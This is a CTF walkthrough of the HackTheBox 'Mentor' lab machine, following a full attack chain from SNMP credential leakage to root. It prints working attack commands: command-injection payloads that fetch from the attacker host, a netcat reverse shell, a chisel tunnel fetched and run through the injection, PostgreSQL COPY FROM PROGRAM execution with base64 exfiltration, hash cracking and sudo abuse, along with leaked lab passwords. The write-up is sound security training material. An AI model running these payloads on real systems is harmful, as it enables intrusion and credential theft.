HTB: Mentor Writeup
Mentor - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Mentor |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.228.102 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Mentor is medium Linux box. Chain runs thru four separate identities before root. SNMP misconfig (non-default community string) leaks plaintext creds sitting in a running process’s command-line args. Those creds unlock backend API, which has blind OS command injection in backup endpoint. Foothold lands root — but inside Docker container, not host. From container, pivot via chisel reverse tunnel to reach internal-only PostgreSQL container, abuse default postgres:postgres creds + superuser COPY ... FROM PROGRAM for RCE-as-postgres. Old DB backup on that container leaks two password hashes; crack one, SSH in as real user. Host-side SNMP daemon config then leaks a second plaintext password, used to become a sudoer who can run /bin/sh as root.
TL;DR: SNMP community brute (internal) → process-arg leak of API password → blind command injection in /admin/backup → RCE as root in Docker container → chisel pivot to internal PostgreSQL container → default creds + COPY FROM PROGRAM RCE → cracked hash from old SQL backup → SSH as svc (user.txt) → plaintext password in /etc/snmp/snmpd.conf → SSH as james → sudo /bin/sh → root.txt
Reconnaissance
Port Scanning
# Targeted scan against expected service set for the boxnmap -p22,80,161 -sV -T4 10.129.228.102# UDP sweep specifically for SNMPnmap -sU -p161 10.129.228.102Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.52161/tcp closed snmp161/udp open snmpService Info: Host: mentorquotes.htbNmap’s Service Info banner already gives the hostname mentorquotes.htb. TCP 161 shows closed while UDP 161 is open — SNMP is a UDP-only service, so the TCP probe is a red herring.
Service Enumeration
Added the discovered hostname and its API subdomain to /etc/hosts:
echo '10.129.228.102 mentorquotes.htb api.mentorquotes.htb' | sudo tee -a /etc/hostsSNMP community brute-force. Default public/private communities were tried first via onesixtyone, returning only public (restricted read scope). A larger wordlist turned up a working non-default string:
# Small common-strings list: only 'public' respondsonesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.129.228.102
# Full seclists SNMP wordlist (3217 entries) contains 'internal'wc -l /usr/share/seclists/Discovery/SNMP/snmp.txtsnmpwalk -v2c -c internal 10.129.228.102internal walked cleanly and returned far more than public — sysContact (Me <admin@mentorquotes.htb>), sysName (mentor), sysLocation (Sitting on the Dock of the Bay). This asymmetry made sense once the host-side snmpd.conf was recovered later in the chain: the v2c group bound to internal (com2sec AllUser default internal / group AllGroup v2c AllUser) has no view restriction, while public is scoped systemonly.
With a working community string, the HOST-RESOURCES-MIB hrSWRunParameters table (OID 1.3.6.1.2.1.25.4.2.1.5) was walked to enumerate running-process command lines — SNMP effectively exposes a remote ps aux-with-args when this table isn’t access-restricted:
snmpwalk -v2c -c internal 10.129.228.102 1.3.6.1.2.1.25.4.2.1.5 | grep -iE 'login|pass|python|api|create'iso.3.6.1.2.1.25.4.2.1.5.1671 = STRING: "/usr/local/bin/login.sh"iso.3.6.1.2.1.25.4.2.1.5.2085 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"A backend script’s plaintext password sitting in argv, harvested over the network without ever touching the host.
Vulnerability Assessment
- Non-default, weak SNMP community string (
internal) grants unrestricted MIB read access. - Sensitive credential passed as a CLI argument to a running process — visible via
hrSWRunParametersto any SNMP client holding a valid community string. - Backend API (
api.mentorquotes.htb) accepts the leaked password for userjames. /admin/backupAPI endpoint takes an attacker-controlledpathvalue and passes it unsanitized to a shell — classic OS command injection.
Initial Foothold
API Authentication
With the SNMP-leaked password, authenticated against the API’s login endpoint for james:
curl -s http://api.mentorquotes.htb/auth/login \ -X POST -H 'Content-Type: application/json' \ -d '{"email":"james@mentorquotes.htb","username":"james","password":"kj23sadkj123as0-d213"}'"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"A JWT for james — decodes to a username/email payload, HS256-signed.
Blind Command Injection in /admin/backup
An authenticated POST to /admin/backup with a path parameter was confirmed vulnerable by chaining shell command substitution and watching for an out-of-band callback:
# Attacker-controlled HTTP listener for OOB confirmationpython3 -m http.server 8000 --bind 10.10.15.180
# Trigger the injection - path value is command-substituted before usecurl -s http://api.mentorquotes.htb/admin/backup \ -H "Authorization: $JWT" -H 'Content-Type: application/json' \ -X POST --data @/dev/shm/p1.json# p1.json: {"path":"$(wget http://10.10.15.180:8000/CBTEST)"}10.129.228.102 - - "GET /CBTEST HTTP/1.1" 404 -The callback landing on the attacker’s listener confirms arbitrary command execution — since the response body is always {"INFO":"Done!"} regardless of the injected command’s outcome, this is blind injection; every step from here needed an out-of-band confirmation channel (HTTP GET, or later, base64-encoded exfil in a filename). With injection confirmed, a netcat reverse shell payload was staged and fired the same way:
nc -lvnp 4444# rev.json: {"path":"$(nc 10.10.15.180 4444 -e /bin/sh)"}curl -s http://api.mentorquotes.htb/admin/backup \ -H "Authorization: $JWT" -H 'Content-Type: application/json' \ -X POST --data @/dev/shm/rev.jsonlistening on [any] 4444 ...connect to [10.10.15.180] from (UNKNOWN) [10.129.228.102] 43975Shell landed as root — but this root is scoped to a Docker container, not the host (confirmed by .dockerenv presence and later by the internal-only PostgreSQL container being reachable only from inside this network namespace).
Pivoting to the Internal PostgreSQL Container
The container had outbound internet access but the target’s internal database service was only reachable from inside the container’s Docker bridge network, so a reverse tunnel was built with chisel. First attempt copied the Kali-native chisel binary onto the pivot host and staged it for the container — but it silently failed to execute inside the container (empty --version output on every probe), most likely a glibc/arch mismatch between the dynamically-linked Kali build and the container’s base image:
# Dynamically-linked chisel — fails silently inside the containercp /usr/bin/chisel /dev/shm/chiselSwitched to a statically-linked GitHub release build, which ran cleanly:
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz -O chisel.gzgunzip -f chisel.gz && chmod +x chisel./chisel --version # 1.9.1 — static binary, no dependency issues# Reverse chisel server on the attacker-controlled pivot host/dev/shm/chisel server -p 8001 --reverse -vThe container was made to pull the static binary and dial back, forwarding the PostgreSQL container’s port 5432 to local port 8002 on the pivot host — driven entirely through the blind command-injection endpoint:
# path value fetched+ran the client via the injection endpoint:# wget http://<lhost>:8000/chisel -O /tmp/ch2; chmod +x /tmp/ch2;# /tmp/ch2 client <lhost>:8001 R:127.0.0.1:8002:<postgres-container>:5432 &server: Reverse tunnelling enabledserver: session#1: tun: proxy#R:127.0.0.1:8002=><postgres-container>:5432: Listeningserver: session#1: tun: SSH connectedPostgreSQL RCE via Default Credentials
Default postgres:postgres credentials authenticated straight through the tunnel:
PGPASSWORD=postgres psql -U postgres -h 127.0.0.1 -p 8002 -c '\l' Name | Owner | Encoding------------------+----------+---------- mentorquotes_db | postgres | UTF8 postgres | postgres | UTF8The postgres role is superuser, which allows arbitrary command execution via COPY ... FROM PROGRAM — PostgreSQL’s bulk-load feature lets a superuser pipe a shell command’s stdout directly into a table:
DROP TABLE IF EXISTS c;CREATE TABLE c(o text);COPY c FROM PROGRAM 'find /var/lib/postgresql -name db_export.sql 2>/dev/null';SELECT * FROM c;/var/lib/postgresql/data/pg_backup/db_export.sqlAn old pg_dump backup, base64-exfiltrated through the same COPY FROM PROGRAM channel (direct grep piping through the injection channel kept dropping output — full base64 exfil was more reliable):
psql -U postgres -h 127.0.0.1 -p 8002 -t -A \ -c "COPY c FROM PROGRAM 'base64 -w0 /var/lib/postgresql/data/pg_backup/db_export.sql'; SELECT * FROM c;" \ | base64 -d | grep -iE 'mentor|[a-f0-9]{32}'CREATE TABLE public.users ( id integer NOT NULL, email character varying(50), username character varying(50), password character varying(128) NOT NULL);
COPY public.users (id, email, username, password) FROM stdin;1 james@mentorquotes.htb james <redacted>35 svc@mentorquotes.htb service_acc <redacted>Two MD5 hashes recovered — james’s (already known via SNMP) and service_acc’s. Cracked the unknown one with hashcat:
hashcat -m 0 -a 0 /dev/shm/h.txt /usr/share/wordlists/rockyou.txt --quiet --potfile-path=/dev/shm/pot<redacted>:123meunomeeivaniThe DB username column says service_acc, but the associated email is svc@mentorquotes.htb — the actual system account is the mailbox local-part, svc, not the DB display name:
sshpass -p '123meunomeeivani' ssh svc@10.129.228.102 'id; hostname; cat /home/svc/user.txt'uid=1001(svc) gid=1001(svc) groups=1001(svc)mentor<redacted>user.txt captured.
Privilege Escalation
Back on the SNMP service — the host’s own daemon config was reachable now that a legitimate SSH foothold existed. /etc/snmp/snmpd.conf contained a hardcoded, plaintext credential in an SNMPv3 createUser directive, unrelated to svc but reused elsewhere on the box:
cat /etc/snmp/snmpd.conf | grep -iE 'pass|create|user|secret|community'rouser authPrivUser authpriv -V systemonlycreateUser bootstrap MD5 SuperSecurePassword123__ DESrouser bootstrap privcom2sec AllUser default internalgroup AllGroup v2c AllUserThat createUser line’s password (meant for an SNMPv3 bootstrap principal) also unlocks the james OS account — credential reuse across otherwise unrelated identities:
sshpass -p 'SuperSecurePassword123__' ssh james@10.129.228.102 'echo SuperSecurePassword123__ | sudo -S -l'Matching Defaults entries for james on mentor: env_reset, mail_badpass, use_ptyUser james may run the following commands on mentor: (ALL) /bin/shUnrestricted sudo on /bin/sh is an instant root shell:
ssh james@10.129.228.102 'echo SuperSecurePassword123__ | sudo -S /bin/sh -c "id; cat /root/root.txt"'uid=0(root) gid=0(root) groups=0(root)<redacted>root.txt captured.
Attack Chain Summary
SNMP community brute (internal) → process-arg leak (login.py password, via HOST-RESOURCES-MIB) → API auth as james → blind command injection in /admin/backup → reverse shell (root in Docker container) → chisel reverse tunnel (static build) to internal PostgreSQL container → default postgres:postgres creds, superuser → COPY ... FROM PROGRAM RCE → pg_dump backup leaks james + service_acc password hashes → hashcat cracks service_acc hash → SSH as svc (email local-part, not DB username) → user.txt → /etc/snmp/snmpd.conf leaks plaintext password (reused by james) → SSH as james → sudo (ALL) /bin/sh → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | TCP/UDP port scanning |
onesixtyone / snmpwalk | SNMP community brute-force and MIB enumeration |
curl | REST API interaction (auth, injection endpoint) |
python3 -m http.server | Out-of-band callback confirmation for blind injection, static-binary staging |
nc | Reverse shell payload and listener |
chisel | Reverse SOCKS/port tunnel to pivot into the internal Docker network |
psql | PostgreSQL client for auth and COPY FROM PROGRAM RCE |
hashcat | MD5 hash cracking against rockyou.txt |
sshpass / ssh | Non-interactive SSH auth with cracked/leaked credentials |
Key Learnings
Techniques Practiced
- SNMP community-string brute-forcing beyond default
public/private - Credential harvesting via SNMP
HOST-RESOURCES-MIBprocess-argument enumeration - Blind OS command injection with out-of-band (HTTP callback) confirmation
- Docker container breakout awareness (root-in-container ≠ root-on-host)
- Reverse tunneling with
chiselto pivot into an isolated internal Docker network - PostgreSQL post-auth RCE via superuser
COPY ... FROM PROGRAM - Cross-referencing DB usernames against email local-parts for correct SSH usernames
- Credential-reuse hunting across unrelated service configs after foothold
Lessons Learned
- Non-default SNMP community strings can grant far broader MIB access than
public— always brute with a large wordlist, not just the top 10. - Command-line arguments passed to running processes are not private; anything readable via
ps//procis also readable remotely through SNMP’s process-table MIB if access controls are loose. - Blind injection needs an out-of-band oracle before committing to a payload — an HTTP callback confirmed exploitability before a reverse shell was even attempted.
- Dynamically-linked pivot tooling (chisel, nmap-static, etc.) can silently fail to run inside a foreign/minimal container filesystem; a statically-linked release build sidesteps libc/arch mismatches entirely.
- PostgreSQL superuser access is equivalent to host command execution via
COPY ... FROM PROGRAM— defaultpostgres:postgrescreds on an “internal-only” service remain a real horizontal-movement vector. - A database’s
usernamecolumn isn’t necessarily the OS/SSH login — cross-check against the account’s email address or other identifying fields. - Config files (
snmpd.conf, and generally any daemon config) often carry hardcoded plaintext secrets that get reused across otherwise unrelated accounts — grep broadly after every foothold, not just for the current service.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Pwnmeow & C4rm3l0, Mentor — official HackTheBox writeup (Document No. D22.100.218), used here only to corroborate explanatory context (SNMP MIB behavior,
COPY FROM PROGRAMmechanics) — all IPs, credentials, hashes, and command output above are from this solve’s own run.